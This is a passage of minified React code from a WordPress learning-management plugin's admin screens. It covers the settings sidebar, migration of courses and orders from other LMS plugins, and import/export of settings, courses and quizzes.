e=Ag.findIndex((e=>e.slug===c));h(e)}),[c,y,A.pathname,b]),(0,a.useEffect)((()=>{"default"===w&&u([{slug:"display",label:(0,E.__)("Display","learning-management-system")},{slug:"filters-and-sorting",label:(0,E.__)("Filters and Sorting","learning-management-system")},{slug:"styles",label:(0,E.__)("Styles","learning-management-system")}]),"layout1"!==w&&"layout2"!==w||u([{slug:"display",label:(0,E.__)("Display","learning-management-system")},{slug:"filters-and-sorting",label:(0,E.__)("Filters and Sorting","learning-management-system")}])}),[w,u]),l().createElement(Qe.a,{position:"sticky",top:10,zIndex:2},l().createElement(Qe.a,{w:{base:"320px",sm:"320px",md:"320px",lg:"320px",xl:"320px"},bgColor:"primary.50"},l().createElement(d.B,{display:v?"flex":"none",gap:"28px",paddingY:"28px",borderRight:"1px solid #f0f0f0",boxShadow:"-1px 0 1px rgba(0, 0, 0, 0.1)"},l().createElement(Un.K,{position:"absolute",top:"10px",right:"10px","aria-label":"cross-icon",icon:l().createElement(yv.PXF,null),boxShadow:"none",size:"sm",onClick:()=>{n(!1),r.setValue("masteriyo_sidebar",!1,{shouldDirty:!0})}})),l().createElement(Ug.n,{allowToggle:!0,index:f,onChange:e=>(e=>{h(f===e?-1:e)})(e)},l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{expandedIndex:f,methods:r,steps:pg,name:(0,E.__)("General","learning-management-system"),slug:"general",icon:l().createElement(eg,{"aria-label":"general-icon",height:"20px",width:"20px",fill:"general"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,l().createElement(ME,{slug:"migrated-courses-settings",expandedIndex:f,methods:r,steps:[],name:(0,E.__)("Courses Page","learning-management-system"),icon:l().createElement(tg,{"aria-label":"learn-page-icon",height:"20px",width:"20px",fill:"migrated-courses-settings"===c?Aa:vf}),isExpanded:!1,setExpandedIndex:h})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"learn-page",expandedIndex:f,methods:r,steps:vg,name:(0,E.__)("Learn Page","learning-management-system"),icon:l().createElement(ag,{"aria-label":"learn-page-icon",height:"20px",width:"20px",fill:"learn-page"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"accounts-page",expandedIndex:f,methods:r,steps:fg,name:(0,E.__)("Accounts Page","learning-management-system"),icon:l().createElement(lg,{"aria-label":"accounts-page-icon",height:"20px",width:"20px",fill:"accounts-page"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"payments",expandedIndex:f,methods:r,steps:o,name:(0,E.__)("Payments","learning-management-system"),icon:l().createElement(rg,{"aria-label":"payment-icon",height:"20px",width:"20px",fill:"payments"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"quiz",expandedIndex:f,methods:r,steps:bg,name:(0,E.__)("Quiz","learning-management-system"),icon:l().createElement(ig,{"aria-label":"quiz-icon",height:"20px",width:"20px",fill:"quiz"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"emails",expandedIndex:f,methods:r,steps:wg,name:(0,E.__)("Emails","learning-management-system"),icon:l().createElement(og,{"aria-label":"emails-icon",height:"20px",width:"20px",fill:"emails"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"authentication",expandedIndex:f,methods:r,steps:Bg,name:(0,E.__)("Authentication","learning-management-system"),icon:l().createElement(dg,{"aria-label":"authentication-icon",height:"20px",width:"20px",fill:"authentication"===c?Aa:null}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"advance",expandedIndex:f,methods:r,steps:s,name:(0,E.__)("Advanced","learning-management-system"),icon:l().createElement(sg,{"aria-label":"advance-icon",height:"20px",width:"20px",fill:"advance"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement($n.m,{placement:"right",label:Em("gamipress-integration")?"":(0,E.__)("You need to activate Gamipress.","learning-management-system")},l().createElement(Wg.A,{isDisabled:!Em("gamipress-integration")},(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"gamipress",expandedIndex:f,methods:r,steps:xg,name:(0,E.__)("Gamipress","learning-management-system"),icon:l().createElement(cg,{"aria-label":"gamipress-icon",height:"20px",width:"20px",fill:"gamipress"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})}))),ym()&&m.length>0&&l().createElement(Wg.A,{isDisabled:!1===ym()||m.length<0},(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"integrations",expandedIndex:f,methods:r,steps:m,name:(0,E.__)("Integrations","learning-management-system"),icon:l().createElement(ug,{"aria-label":"integrations-icon",height:"20px",width:"20px",fill:"integrations"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})))))};function hf(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function bf(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?hf(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):hf(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const wf=()=>{var[e]=(0,xt.U)("(max-width: 1400px)"),[t]=(0,xt.U)("(max-width: 1200px)"),[n,r]=(0,a.useState)(!1),i=new mt(rt.settings),o=(0,Pn.I)({queryKey:["settings"],queryFn:()=>i.list()}),s=(0,Je.mN)({reValidateMode:"onChange",mode:"onChange",defaultValues:bf(bf({},o.data),{},{upgrade_to_pro:!e})}),m=(0,Je.FH)({name:"masteriyo_sidebar",defaultValue:!1,control:s.control});return(0,a.useEffect)((()=>{o.isSuccess&&o.data&&s.reset(bf(bf({},o.data),{},{upgrade_to_pro:!e}))}),[o.isSuccess]),Ca(!$(s.formState.dirtyFields)),l().createElement(_g,{defaultSettings:o.data,upgradeToPro:!1},l().createElement(Je.Op,s,l().createElement(d.B,{direction:"column",spacing:"8",width:"full",alignItems:"center",rounded:"base"},null!=o&&o.isSuccess?l().createElement(De.m,{display:"flex",maxW:"container.xl",onClick:()=>{r(!1),s.setValue("general_search_results_visible",!1)},sx:pa,py:10},l().createElement(Ze.z,{position:"relative",maxW:"full",backgroundColor:"soft-gray",alignItems:"flex-start",gap:"26px",boxShadow:"-5px 0px 25px -3px rgba(0, 0, 0, 0.1)",width:"100%",transition:"width 0.6s cubic-bezier(0.25, 0.1, 0.25, 1), height 0.6s cubic-bezier(0.25, 0.1, 0.25, 1)"},l().createElement(d.B,{position:"relative",alignSelf:"stretch",backgroundColor:"faint-gray"},l().createElement(u.T,{backgroundColor:"faint-gray",alignItems:"center",flexShrink:"0",onClick:()=>r(!1),display:"flex",position:t?"absolute":"static",top:0,left:0,marginLeft:t&&!m?"-380px":"0px",zIndex:5,transition:"0.6s cubic-bezier(0.25, 0.1, 0.25, 1), height 0.6s cubic-bezier(0.25, 0.1, 0.25, 1)"},t&&m&&l().createElement(Qe.a,{width:"140vw",height:"full",bg:"graphite",opacity:"0.4",position:"absolute",top:"0",left:"2",onClick:()=>{r(!1),s.setValue("masteriyo_sidebar",!1)}}),l().createElement(ff,{isGeneralSearchQueryFocused:n,setIsGeneralSearchQueryFocused:r,methods:s}))),l().createElement(u.T,{flex:"1",bg:"transparent",border:"none",boxShadow:"none",alignSelf:"stretch",color:"graphite"},l().createElement(kE,{settingsData:null==o?void 0:o.data,methods:s})))):l().createElement(kd,null))))};var Cf=n(69302),xf=["Courses","Orders","Reviews"],Sf={lifterlms:["Courses","Orders"],"sfwd-lms":["Courses","Orders"],tutor:[...xf,"Announcement","Questions and Answers"]},Bf="completed",If="migrating",Of="courses",Pf="orders",Df="reviews",_f="announcement",kf="questions_n_answers",Qf="/masteriyo/v1/",zf={migrationLMSs:Qf+"migrations/lms",migrations:Qf+"migrations"},qf=n(16560),Ff=n(81685),jf=n(63877),Vf=e=>{var{title:t,description:n,height:a="100%",varient:r="subtle"}=e;return l().createElement(Ta.F,{status:"success",variant:r,flexDirection:"column",alignItems:"center",justifyContent:"center",textAlign:"center",height:a,borderRadius:5},l().createElement(Po._,{boxSize:"40px",mr:0}),l().createElement(Ua.X,{mt:4,mb:1,fontSize:"lg"},t),n&&l().createElement(Wa.T,{maxWidth:"sm"},n))};const Lf=l().memo(Vf);var Mf=e=>{var{isMigrationProcessCompleted:t,activeStep:n,lmsWatchedValue:a,currentlyActiveLms:r,showMigrationStatus:i,onMigrationalStatusClose:o,migrationProcessInProgress:s}=e;return l().createElement(l().Fragment,null,l().createElement(S,{size:"sm",isOpen:i,onClose:o,title:t?"":null==r?void 0:r.label,showCloseOption:t,closeOnOverlayClick:t,applyPadding:!t,extraInfo:s&&l().createElement(Jt.E,{colorScheme:"green",ml:2,py:1,px:2,variant:"outline",borderRadius:"sm"},"In-Progress: ",s)},t?l().createElement(Lf,{title:(0,E.__)("".concat(null==r?void 0:r.label,"'s data migrated successfully."),"learning-management-system"),height:"130px",varient:"subtle"}):l().createElement(Xr.C,{index:n,mt:2,colorScheme:"primary",orientation:"vertical"},[...Sf[a]||xf].map(((e,t)=>l().createElement(Yr.p,{key:t},l().createElement(Zr.S,null,l().createElement(qf.x,{complete:l().createElement(Ff.W,null),incomplete:l().createElement(jf.Q,null),active:l().createElement(bt.y,{fontSize:"sm",color:"blue.500"})})),l().createElement($r.J,null,l().createElement(g.E,{position:"relative",bottom:3,left:1,fontSize:15,color:t===n?Aa:"gray.800",fontWeight:t===n?"semibold":"normal"},e)),l().createElement(ti.m,null)))))))};const Rf=l().memo(Mf);function Tf(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Uf(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Tf(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Tf(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Wf=()=>{var e,t,n,r,{activeStep:i,setActiveStep:o}=(0,Cf.f)({index:0,count:xf.length}),[m,c]=(0,a.useState)(!1),g=(0,We.d)(),A=(0,s.jE)(),{register:y,handleSubmit:v,getValues:f,formState:{errors:h},watch:b}=(0,Je.mN)(),w=b("lms_name"),C=(n=new mt(zf.migrationLMSs),(0,Pn.I)({queryKey:["migrationLMSsList"],queryFn:()=>n.list()})),x=function(){var e=new mt(zf.migrations),t=(0,We.d)();return(0,wt.n)({mutationFn:t=>e.store(t),onError:e=>{t({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})}(),[S,B]=(0,a.useState)({courses:"not_started",orders:"not_started",reviews:"not_started",announcement:"not_started",questions_n_answers:"not_started"}),I=(0,a.useCallback)((e=>{B((t=>{var n=Uf({},t);return e.remainingCourses&&!$(e.remainingCourses)?n.courses=If:n=e.remainingOrders&&!$(e.remainingOrders)?Uf(Uf({},n),{},{courses:Bf,orders:If}):e.remainingReviews&&!$(e.remainingReviews)?Uf(Uf({},n),{},{courses:Bf,orders:Bf,reviews:If}):e.remainingAnnouncement&&!$(e.remainingAnnouncement)?Uf(Uf({},n),{},{courses:Bf,orders:Bf,reviews:Bf,announcement:If}):e.remainingQuestionsAnswers&&!$(e.remainingQuestionsAnswers)?Uf(Uf({},n),{},{courses:Bf,orders:Bf,reviews:Bf,announcement:Bf,questions_n_answers:If}):e.remainingUsers&&!$(e.remainingUsers)||e.remainingQuizAttempts&&!$(e.remainingQuizAttempts)?Uf(Uf({},n),{},{courses:Bf,orders:Bf,reviews:Bf,announcement:Bf,questions_n_answers:Bf}):{courses:Bf,orders:Bf,reviews:Bf,announcement:Bf,questions_n_answers:Bf},n.courses===Bf&&n.orders===Bf&&n.reviews===Bf&&n.announcement===Bf&&n.questions_n_answers===Bf&&A.invalidateQueries({queryKey:["courseList"]}),n}))}),[B,A]),O=(0,a.useCallback)((()=>c(!1)),[]),P=null===(e=C.data)||void 0===e?void 0:e.data.find((e=>(null==e?void 0:e.name)===f("lms_name"))),D=(0,a.useMemo)((()=>Object.keys(S).find((e=>S[e]===If))),[S]),_=(0,a.useMemo)((()=>Object.keys(S).every((e=>S[e]===Bf))),[S]);return(0,a.useEffect)((()=>{S[Of]===Bf&&(o(1),S[Pf]===Bf&&(o(2),S[Df]===Bf&&o(3)))}),[S,o]),(0,a.useEffect)((()=>{var e;return!m&&Object.keys(S).some((e=>S[e]===If))&&c(!0),m&&Object.keys(S).every((e=>S[e]===Bf))&&(e=setTimeout((()=>{c(!1)}),2e3)),()=>{clearTimeout(e)}}),[S,m]),(0,a.useEffect)((()=>{h.lms_name&&g({title:(0,E.__)(String(h.lms_name.message),"learning-management-system"),status:"error",isClosable:!0})}),[h.lms_name,g]),(0,a.useEffect)((()=>{if(!(S.courses===Bf&&S.orders===Bf&&S.reviews===Bf&&S.announcement===Bf&&S.questions_n_answers===Bf||x.isPending)){var e=f("lms_name");[Of,Pf,Df,_f,kf].forEach((t=>{S[t]===If&&x.mutate({lms_name:e,type:t},{onSuccess:e=>{I(e)},onError:e=>{var t,n=(null==e?void 0:e.message)||(null==e||null===(t=e.data)||void 0===t?void 0:t.message)||(0,E.__)("Failed to migrate.","learning-management-system");g({title:(0,E.__)("Failed to migrate.","learning-management-system"),description:n,status:"error",isClosable:!0})}})}))}}),[S,I,f,x,g]),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement("form",{onSubmit:v((e=>{o(0),B(Uf(Uf({},S),{},{courses:If,orders:"not_started",reviews:"not_started",announcement:"not_started",questions_n_answers:"not_started"})),x.mutate(ne(e),{onSuccess:e=>{I(e)},onError:e=>{var t,n=(null==e?void 0:e.message)||(null==e||null===(t=e.data)||void 0===t?void 0:t.message)||(0,E.__)("Failed to migrate.","learning-management-system");g({title:(0,E.__)("Failed to migrate.","learning-management-system"),description:n,status:"error",isClosable:!0})}})}))},l().createElement(Fa,{isInvalid:!(null==h||!h.lms_name)},l().createElement(Ge.l,{htmlFor:"lms_name"},(0,E.__)("Migration From","learning-management-system"),l().createElement(tl,{label:(0,E.__)("Choose an LMS from the list to migrate.","learning-management-system")})),l().createElement(u.T,null,l().createElement(Ze.z,{width:"full"},l().createElement(aa.l,(0,Re.A)({id:"lms_name",isDisabled:x.isPending,placeholder:(0,E.__)("Select an LMS","learning-management-system")},y("lms_name",{required:(0,E.__)("Select an LMS.","learning-management-system")})),C.isLoading?l().createElement("option",{disabled:!0},(0,E.__)("Loading...","learning-management-system")):C.isError?l().createElement("option",{disabled:!0},(0,E.__)("Error loading options","learning-management-system")):((null===(r=C.data)||void 0===r?void 0:r.data)||[]).map((e=>l().createElement("option",{value:e.name,key:e.name},e.label)))),l().createElement(p.$,{colorScheme:"blue",type:"submit",isLoading:x.isPending,isDisabled:x.isPending,loadingText:(0,E.__)("Migrating...","learning-management-system"),size:"md",rightIcon:l().createElement(Fn.Z$r,{size:15})},(0,E.__)("Migrate","learning-management-system"))),l().createElement(_t.S,{in:P},l().createElement(u.T,{gap:3,my:5,alignItems:"flex-start"},l().createElement(at,{status:"warning",mb:"6"},(0,E.__)("Before proceeding with the migration, please test the process on a staging site. The following data will be migrated, and once the migration is complete, the data cannot be restored to the previous LMS system.","learning-management-system")),l().createElement(Fe.B8,{spacing:3},null===(t=[...Sf[null==P?void 0:P.name]||xf])||void 0===t?void 0:t.map((e=>l().createElement(Fe.ck,{fontSize:"small",color:"gray.600",key:e,fontWeight:"semibold"},l().createElement(Fe.kp,{as:kt.OZ6,color:"green.500",fontSize:"sm"}),e,"Courses"===e&&l().createElement(Qe.a,{ml:8,mt:2},l().createElement(Fe.Xy,{spacing:1},l().createElement(Fe.ck,{fontSize:"small",color:"gray.600"},(0,E.__)("All Enrolled Users","learning-management-system")),l().createElement(Fe.ck,{fontSize:"small",color:"gray.600"},(0,E.__)("Instructors who created the course","learning-management-system")))))))))))),l().createElement(Rf,{activeStep:i,currentlyActiveLms:P,lmsWatchedValue:w,isMigrationProcessCompleted:_,migrationProcessInProgress:D,onMigrationalStatusClose:O,showMigrationStatus:m})))};function Kf(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Nf(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Kf(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Kf(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Gf=()=>{var{register:e,formState:{errors:t},handleSubmit:n,reset:a,watch:r}=(0,Je.mN)(),i=(0,We.d)(),o=(0,s.jE)(),m=r("file"),c=(0,wt.n)(Nf({mutationFn:e=>{var t,n=new FormData;return n.append("file",null==e||null===(t=e.file)||void 0===t?void 0:t[0]),st({path:rt.importSettings,method:"POST",body:n})}},{onSuccess(){i({title:(0,E.__)("Import complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0}),a(),o.invalidateQueries({queryKey:["settings"]}),window.location.reload()},onError(e){i({title:(0,E.__)("Import failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}})),u=(0,wt.n)(Nf({mutationFn:()=>st({path:rt.exportSettings,method:"POST"})},{onSuccess(e){var t=document.createElement("a");t.href=null==e?void 0:e.download_url,t.download=null==e?void 0:e.filename,document.body.appendChild(t),t.click(),document.body.removeChild(t),i({title:(0,E.__)("Export complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0})},onError(e){i({title:(0,E.__)("Export failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}}));return l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement("form",null,l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Import","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement(Fa,null,l().createElement(Ne.MJ,{isInvalid:!(null==t||!t.file)},l().createElement(Ma.p,(0,Re.A)({opacity:c.isPending?"0.5":1,pointerEvents:c.isPending?"none":"auto",boxShadow:"none",variant:"unstyled",multiple:!1,type:"file",accept:".json"},e("file",{required:(0,E.__)("Please select an import file.","learning-management-system")}))),!(null==t||!t.file)&&l().createElement(ui.Wt,null,t.file.message)),!(null==m||!m.length)&&l().createElement(d.B,{direction:"row",w:"full",ml:2},l().createElement(p.$,{colorScheme:"primary",isLoading:c.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.bh6,fontSize:"md"}),onClick:n((e=>c.mutate(e)))},(0,E.__)("Import settings","learning-management-system")),c.isPending&&l().createElement(d.B,{flex:"1"},l().createElement(g.E,{fontStyle:"italic",opacity:"0.8"},(0,E.__)("Importing...","learning-management-system")),l().createElement(Jd.k,{size:"xs",hasStripe:!0,isIndeterminate:!0}))))))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Export","learning-management-system")),l().createElement(Qe.a,null,l().createElement(p.$,{colorScheme:"primary",isLoading:u.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.w4m,fontSize:"md"}),onClick:()=>u.mutate()},(0,E.__)("Export settings","learning-management-system")))))};const Hf=e=>{var{importProgress:t}=e;return t.inProgress||t.completed?null!=t&&t.completed&&!t.showAlert?null:l().createElement(Ta.F,{status:t.completed?"success":"warning",variant:"subtle",borderRadius:"md",boxShadow:"sm",flexDirection:"row",alignItems:"center",textAlign:"left",width:"100%"},t.inProgress?l().createElement(bt.y,{size:"md",color:t.completed?"green.500":"yellow.500",mr:3}):l().createElement(Po._,{boxSize:"24px",mr:3}),t.inProgress&&l().createElement(Ua.X,null,null==t?void 0:t.message),t.completed&&l().createElement(Ze.z,{justifyContent:"space-between",alignItems:"center",width:"full"},l().createElement(Ua.X,null,null==t?void 0:t.message))):null};function Jf(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Xf(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Jf(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Jf(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var Yf=3145728;const Zf=()=>{var e,{register:t,formState:{errors:n},handleSubmit:r,reset:i,control:o}=(0,Je.mN)(),m=(0,We.d)(),c=(0,s.jE)(),[u,g]=(0,a.useState)([...da.map((e=>e.key))]),[A,y]=(0,a.useState)({completed:!1,message:"",inProgress:!1}),[v,f]=(0,a.useState)({completed:!1,message:"",inProgress:!1}),{isOpen:h,onOpen:b,onClose:w}=(0,Ue.j)(),C=new mt(rt.coursesExport),x=new mt(rt.exportCourseStatus),S=new mt(rt.importCourseStatus),B=(0,Je.FH)({control:o,name:"file"}),I=(0,wt.n)(Xf({mutationFn:(e=(0,Te.A)((function*(e){var t,n=null==e||null===(t=e.file)||void 0===t?void 0:t[0];if(n&&0!==n.size){f({inProgress:!0,completed:!1,message:(0,E.__)("Import in progress. Please wait...")});var a=n.size,l=Math.ceil(a/Yf);try{for(var r=0;r<l;r++){var o=r*Yf,s=Math.min(o+Yf,a),u=n.slice(o,s),d=new FormData;d.append("file",u),d.append("chunkIndex",r.toString()),d.append("totalChunks",l.toString()),d.append("fileName",n.name),d.append("fileSize",a.toString());var g=yield st({path:rt.import,method:"POST",body:d});if("completed"===g.status)return f({inProgress:!1,completed:!0,message:null==g?void 0:g.message,showAlert:!0}),void i();"progress"===(null==g?void 0:g.status)&&(f({inProgress:!0,completed:!1,message:g.message}),setTimeout((()=>D()),15e3))}i(),c.invalidateQueries({queryKey:["courseList"]})}catch(e){f({inProgress:!1,completed:!1,message:(0,E.__)("Import Failed!","learning-management-system")}),m({title:(0,E.__)("Import failed!","learning-management-system"),description:(null==e?void 0:e.message)||(0,E.__)("Something went wrong.","learning-management-system"),status:"error",duration:3e3,isClosable:!0})}}else m({title:(0,E.__)("No file selected or the file is empty","learning-management-system"),status:"error",duration:3e3,isClosable:!0})})),function(t){return e.apply(this,arguments)})},{})),O=(0,wt.n)(Xf({mutationFn:()=>C.store({course_ids:[],course_items:u})},{onSuccess:e=>{y({completed:!(null==e||!e.download_url),message:null==e?void 0:e.message,inProgress:!(null!=e&&e.download_url),downloadLink:(null==e?void 0:e.download_url)||void 0}),null!=e&&e.download_url||setTimeout((()=>P()),15e3),w()},onError:e=>{m({title:(0,E.__)("Export failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0}),y({completed:!1,message:(0,E.__)("Export failed!","learning-management-system"),inProgress:!1}),w()}})),P=e=>{var t=e,n=()=>{x.get().then((e=>{y({completed:null==e?void 0:e.download_url,message:null==e?void 0:e.message,inProgress:"progress"===e.status,downloadLink:null==e?void 0:e.download_url}),null!=e&&e.download_url&&t?(clearInterval(t),t=void 0):t||"progress"!==e.status||(t=setInterval(n,5e3))})).catch((e=>{console.error("Error checking export progress:",e),y({completed:!1,message:(0,E.__)("Error checking progress","learning-management-system"),inProgress:!1}),t&&clearInterval(t)}))};n()},D=e=>{var t=e,n=()=>{S.get().then((e=>{f({completed:"completed"===e.status,message:(null==e?void 0:e.message)||(0,E.__)("Import in progress. Please wait..."),inProgress:"completed"!==e.status,showAlert:"completed"===e.status}),"completed"===e.status&&t?(clearInterval(t),t=void 0):t||"completed"===e.status||(t=setInterval(n,5e3))})).catch((e=>{console.error("Error checking import progress:",e),f({completed:!1,message:(0,E.__)("Error checking import progress","learning-management-system"),inProgress:!1}),t&&clearInterval(t)}))};n()};return(0,a.useEffect)((()=>{(function(){var e=(0,Te.A)((function*(){P()}));return function(){return e.apply(this,arguments)}})()()}),[]),(0,a.useEffect)((()=>{var e=function(){var e=(0,Te.A)((function*(){D()}));return function(){return e.apply(this,arguments)}}();(e=>{var t=document.cookie.split(";");for(var n of t){var[a,l]=n.split("=");if(a.trim()===e)return decodeURIComponent(l)}})("masteriyo_course_import_is_in_progress_".concat(null==R?void 0:R.current_user_id))?e():f({completed:!0,inProgress:!1,message:(0,E.__)("Import successful.","learning-management-system")})}),[]),l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement("form",null,l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Import","learning-management-system")),l().createElement(d.B,{direction:"column",gap:4},l().createElement(Fa,null,l().createElement(Ne.MJ,{isInvalid:!(null==n||!n.file)},l().createElement(Ma.p,(0,Re.A)({opacity:null!=v&&v.inProgress||null!=I&&I.isPending?"0.5":1,pointerEvents:null!=v&&v.inProgress||null!=I&&I.isPending?"none":"auto",boxShadow:"none",variant:"unstyled",multiple:!1,type:"file",accept:".json"},t("file",{required:(0,E.__)("Please select an import file.","learning-management-system")}))),!(null==n||!n.file)&&l().createElement(ui.Wt,null,n.file.message)),!(null==B||!B.length)&&l().createElement(d.B,{direction:"row",w:"full",ml:2},l().createElement(p.$,{ml:{base:0,lg:2},mt:{base:2,lg:0},colorScheme:"primary",display:null!=v&&v.inProgress?"none":"unset",variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.bh6,fontSize:"md"}),onClick:r((e=>I.mutate(e)))},(0,E.__)("Import courses","learning-management-system")))),l().createElement(Hf,{importProgress:v})))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Export","learning-management-system")),l().createElement(d.B,{direction:"column",gap:4},l().createElement(p.$,{variant:"outline",isLoading:O.isPending,leftIcon:l().createElement($e.I,{as:kt.w4m,fontSize:"md"}),onClick:()=>b(),isDisabled:null==A?void 0:A.inProgress,w:"fit-content"},(0,E.__)("Export courses","learning-management-system")),l().createElement(Tg,{exportProgress:A}))),l().createElement(Hd,{handleCheckboxChange:e=>{g((t=>t.includes(e)?t.filter((t=>t!==e)):[...t,e]))},isExportCourseModalOpened:h,onExport:O,onExportCourseModalClose:w,selectedCourseContents:u,selectedCourses:[]}))};function $f(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function eh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$f(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$f(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const th=()=>{var{register:e,formState:{errors:t},handleSubmit:n,reset:a,watch:r}=(0,Je.mN)(),i=(0,We.d)(),o=(0,s.jE)(),m=r("file"),c=(0,wt.n)(eh({mutationFn:e=>{var t,n=new FormData;return n.append("file",null==e||null===(t=e.file)||void 0===t?void 0:t[0]),st({path:rt.quizzesImport,method:"POST",body:n})}},{onSuccess(){i({title:(0,E.__)("Import complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0}),a(),o.invalidateQueries({queryKey:["courseList"]})},onError(e){i({title:(0,E.__)("Import failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}})),u=(0,wt.n)(eh({mutationFn:()=>st({path:rt.quizzesExport,method:"POST"})},{onSuccess(e){var t=document.createElement("a");t.href=null==e?void 0:e.download_url,t.download=null==e?void 0:e.filename,document.body.appendChild(t),t.click(),document.body.removeChild(t),i({title:(0,E.__)("Export complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0})},onError(e){i({title:(0,E.__)("Export failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}}));return l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement("form",null,l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Import","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement(Fa,null,l().createElement(Ne.MJ,{isInvalid:!(null==t||!t.file)},l().createElement(Ma.p,(0,Re.A)({opacity:c.isPending?"0.5":1,pointerEvents:c.isPending?"none":"auto",boxShadow:"none",variant:"unstyled",multiple:!1,type:"file",accept:".json"},e("file",{required:(0,E.__)("Please select an import JSON 